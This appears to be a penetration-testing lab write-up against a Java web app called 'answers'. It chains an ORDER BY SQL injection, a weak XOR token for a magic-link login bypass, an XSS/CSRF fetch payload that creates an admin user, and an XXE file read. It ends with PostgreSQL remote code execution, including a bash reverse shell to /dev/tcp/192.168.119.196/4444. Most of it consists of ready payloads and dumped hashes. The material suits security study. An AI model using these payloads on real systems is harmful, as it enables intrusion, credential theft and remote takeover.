Create Token with UserID that we can control (Low Level User)
/* */ public static String createToken(int userId) {
/* 16 */ Random random = new Random(System.currentTimeMillis());
/* 17 */ StringBuilder sb = new StringBuilder();
/* 18 */ byte[] encbytes = new byte[42];
/* */
/* 20 */ for (int i = 0; i < 42; i++) {
/* 21 */ sb.append(CHARSET.charAt(random.nextInt(CHARSET.length())));
/* */ }
/* */
/* */
/* 25 */ byte[] bytes = sb.toString().getBytes();
/* */
/* 27 */ for (int j = 0; j < bytes.length; j++) {
/* 28 */ encbytes[j] = (byte)(bytes[j] ^ (byte)userId);
/* */ }
/* */
/* 31 */ return Base64.getUrlEncoder().withoutPadding().encodeToString(encbytes);
/* */ }
/* */ }
Observing source code and determining that SQL injection potentially exists
/* */ public List<DecoratedCategory> getAllDecoratedCategoriesSorted(String sort) {
/* 60 */ if (sort.equalsIgnoreCase("count")) {
/* 61 */ sort = "count(q.id)";
/* */ }
/* 63 */ String sql = "SELECT c.id, c.name, count(q.id) as questionCount FROM categories c LEFT JOIN questions q ON c.id = q.category_id GROUP BY c.id, c.name ";
/* */
/* */
/* */
/* 67 */ if (!sort.equalsIgnoreCase("")) {
/* 68 */ sql = sql + " ORDER BY " + SqlUtil.escapeString(sort) + " DESC ";
/* */ }
/* */
/* 71 */ return this.template.query(sql, (RowMapper)new DecoratedCategoryRowMapper(this, null));
/* */ }
String Concatenation in SQL query
sql = sql + " ORDER BY " + SqlUtil.escapeString(sort) + " DESC ";
escapeString function is not sufficiently validating SQL query - cannot use single/double quotes, new lines or semi-colons
/* */ public static String escapeString(String s) {
/* 6 */ String tmp = s.replace("'", "");
/* */
/* 8 */ tmp = tmp.replace("\"", "");
/* 9 */ tmp = tmp.replace("\n", "");
/* 10 */ tmp = tmp.replace(";", "");
/* */
/* 12 */ return tmp;
/* */ }
/* */ }
Find associated mapping for SQL query and determine that order parameter is injectable
/* */ @GetMapping({"/categories"})
/* */ public String getCategoriesPage(HttpServletRequest req, Model model, HttpServletResponse res) {
/* 132 */ if (isAuthenticated(req)) {
/* 133 */ decorateModel(req, model);
/* */ }
/* */
/* 136 */ getDecoratedTopFive(model);
/* */
/* 138 */ String sort = (req.getParameter("order") != null) ? req.getParameter("order") : "";
/* */
/* 140 */ List<DecoratedCategory> categories = this.catDao.getAllDecoratedCategoriesSorted(sort);
/* 141 */ model.addAttribute("categories", categories);
/* */
/* 143 */ return "categories";
/* */ }
Observe error when attempting to inject malicious SQL query in Postgres database
- http://192.168.196.251/categories?order=%27
Single Quotes are filtered
StatementCallback; bad SQL grammar [SELECT c.id, c.name, count(q.id) as questionCount FROM categories c LEFT JOIN questions q ON c.id = q.category_id GROUP BY c.id, c.name ORDER BY DESC ]; nested exception is org.postgresql.util.PSQLException: ERROR: syntax error at or near "DESC" Position: 149
Input Basic Commands
- http://192.168.196.251/categories?order=1+DESCβ (sort descending)
- http://192.168.196.251/categories?order=1,cAsT(chr(126)%7c%7cvErSiOn()%7c%7cchr(126)+aS+nUmeRiC)β (error-based SQLi)
- http://192.168.196.251/categories?order=1,cAsT(chr(126)%7c%7c(SELECT+current_database())%7c%7cchr(126)+aS+nUmeRiC)β (Current database)
- http://192.168.196.251/categories?order=1,cAsT(chr(126)%7c%7c(sEleCt+table_name+fRoM+information_schema.tables+lImIt+1+offset+0)%7c%7cchr(126)+aS+nUmeRiC)β (retrieve from information_schema with limit offset) β> Use burp to enumerate
- http://192.168.196.251/categories?order=1,cAsT(chr(126)%7c%7c(sEleCt+column_name+fRoM+information_schema.columns+wHerE+table_name=\(tokens\)+lImIt+1+offset+0)%7c%7cchr(126)+as+nUmeRiC)β (Use dollar-quotes)
Version:
PostgreSQL 10.12 (Ubuntu 10.12-0ubuntu0.18.04.1) on x86_64-pc-linux-gnu, compiled by gcc (Ubuntu 7.4.0-1ubuntu1~18.04.1) 7.4.0, 64-bit
Current Database:
answers
Users:
postgres
webapp
Tables:
categories
users
questions
answers
tokens
Users Table:
id
username
password
isadmin
ismod
email
Tokens Table:
user_id
token
Postgres Database Credentials:
postgre:[blank]
webapp:md5120d5777bce28a73d9a33958eae9a7d5
Obtain admin password hash
admin:oxloQ7JK1hmHw9FF8tai1n5TolY= (isadmin=True, email=admin@answers.local)
Other passwords:
VsBALJ88OHAmorsvXeNQTcFca2M==
njEPfgDJ0CAxAH8yFnZVXVDTTRM=
KL9g4d6C5JynSctHgDPQoLliG9M=
6P9OkSemHszcHlXQb+rTIa8KPV0=
VFE/mi/SPbW13a4NyAhHoPyRZsI=
vo0i+Wp1G2F1SiAGW5c57+94pjk=
oxloQ7JK1hmHw9FF8tai1n5TolY=
Authentication Bypass Method 1: Using magic tokens to elevate to low level privileges
/* */ @PostMapping({"/generateMagicLink"})
/* */ public String postGenerateMagicLink(HttpServletRequest req, Model model, HttpServletResponse res) {
/* 119 */ if (req.getParameter("username") != null) {
/* 120 */ User u = this.userDao.getUserByName(req.getParameter("username"));
/* */
/* */
/* 123 */ if (!u.getUsername().equalsIgnoreCase("admin")) {
/* */
/* 125 */ logger.info("Generating magic link for " + u.getUsername());
/* */
/* 127 */ String magic = TokenUtil.createToken(u.getId());
/* */
/* 129 */ this.userDao.insertTokenForUser(magic, u.getId());
/* */
/* */
/* 132 */ emailMagicLink(u.getEmail(), magic);
/* */
/* 134 */ model.addAttribute("message", "Magic link sent! Please check your email.");
/* 135 */ model.addAttribute("username", u.getUsername());
/* 136 */ return "redirect:/login";
/* */ }
/* 138 */ return "redirect:/login";
/* */ }
/* */
/* */
/* 142 */ return "redirect:/login";
/* */ }
@GetMapping({"/magicLink/{token}"})
Three step process
- http://192.168.129.251/categories?order=1,cAsT(chr(126)%7c%7c(SELECT+token+FROM+tokens+limit+1+offset+0)%7c%7cchr(126)+aS+nUmeRiC)β
- http://192.168.129.251/generateMagicLink?username=admin2
- GET http://192.168.196.251/magicLink/Y1Z-fU90RzRsZkI3RiJEIUd1fVxcTnxDa2dmSUA2UTxmfUsyQUhNXXV0 (Bob)
β/admin/users/createβ function does not appear to have CSRF protection - and it is possible to create XHR request using XSS to create a new admin user
/* */ @PostMapping({"/admin/users/create"})
/* */ public String postUserCreate(HttpServletRequest req, Model model, HttpServletResponse res) {
/* 98 */ if (!isAdmin(req)) {
/* 99 */ model.addAttribute("message", "You must be logged in to access this area.");
/* 100 */ return "redirect:/login";
/* */ }
/* */
/* 103 */ SessionUtil.decorateModel(req, model);
/* */
/* 105 */ String username = (req.getParameter("name") != null) ? req.getParameter("name") : "";
/* 106 */ String email = (req.getParameter("email") != null) ? req.getParameter("email") : "";
/* 107 */ boolean isAdmin = (req.getParameter("isAdmin") != null) ? Boolean.parseBoolean(req.getParameter("isAdmin")) : false;
/* 108 */ boolean isMod = (req.getParameter("isMod") != null) ? Boolean.parseBoolean(req.getParameter("isMod")) : false;
/* */
/* 110 */ if (username.equalsIgnoreCase("") || email.equalsIgnoreCase("")) {
/* 111 */ model.addAttribute("message", "Missing required fields.");
/* 112 */ return "redirect:/admin/users";
/* */ }
/* 114 */ String password = Password.generatePassword(16);
/* 115 */ logger.info("AdminController.postUserCreate() - Creating new user ");
/* */ try {
/* 117 */ String hashedPassword = Password.hashPassword(password);
/* */
/* 119 */ this.userDao.insertUser(username, hashedPassword, isAdmin, isMod, email);
/* 120 */ emailNewUser(email, username, password);
/* 121 */ password = "";
/* 122 */ } catch (Exception e) {
/* 123 */ logger.error("[!] Exception occurred while try to add a new user: " + e.getMessage());
/* */ }
XSS Payload
Bypass XSS filter check
123<script>var xhr = new XMLHttpRequest(); test = "em>"; xhr.open('GET', 'http://192.168.119.129:8000/test', true); xhr.send(); alert('finished!')>
Bypass SQLi filter check
123<script>var xhr = new XMLHttpRequest(); test = "em>"; xhr.open('GET', 'http://192.168.119.129:8000/test', true); xhr.send(); alert('finished!')>
123em><script>javascript:alert(`XSS`)></script>
123<script>alert(`this`)\u003Balert(`works!`)</script>
fetch("http://192.168.129.251/admin/users/create",
{
method: 'post',
headers: {
"Content-type": "application/x-www-form-urlencoded;"
},
body: 'name=admin2&email=admin@example.com&isAdmin=true&isMod=true',
})
We can obtain the token of the new admin user, and then authenticate for elevated privileges
- Use debugger -> change time delay due to ping difference FML
- This should create a new administrator role, which can then be accessed
- username=admin&password=malazan2&submit=Submit
- Need to retrieve the adminkey.txt in order to perform arbitrary SQL queries in postgresql
Remote Code Execution
- XXE to retrieve file value in adminkey.txt
<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY ent SYSTEM "file:///home/student/adminkey.txt"> ]>
<database>
<firstName>John</firstName>
<lastName>&ent;</lastName>
</database>
adminkey.txt: 0cc2eebf-aa4b-4f9c-8b6c-ad7d44422d9b
Postgres Version: PostgreSQL 10.12 (Ubuntu 10.12-0ubuntu0.18.04.1) on x86_64-pc-linux-gnu, compiled by gcc (Ubuntu 7.4.0-1ubuntu1~18.04.1) 7.4.0, 64-bit
CREATE OR REPLACE FUNCTION remote_test(text, integer) RETURNS void AS $$\\192.168.119.196\answers\pg_exec.so$$, $$pg_exec$$ LANGUAGE C STRICT;
SELECT remote_test('bash -c "bash -i >& /dev/tcp/192.168.119.196/4444 0>&1"');
select lo_import('/etc/hosts', 1337);
select loid, pageno from pg_largeobject;
select loid, pageno, encode(data, 'escape') from pg_largeobject;
update pg_largeobject set data=decode('77303074', 'hex') where loid=1337 and pageno=0;
select lo_export(1337, '/tmp/reverse_shell.so');
For RCE: https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/ https://book.hacktricks.xyz/pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions
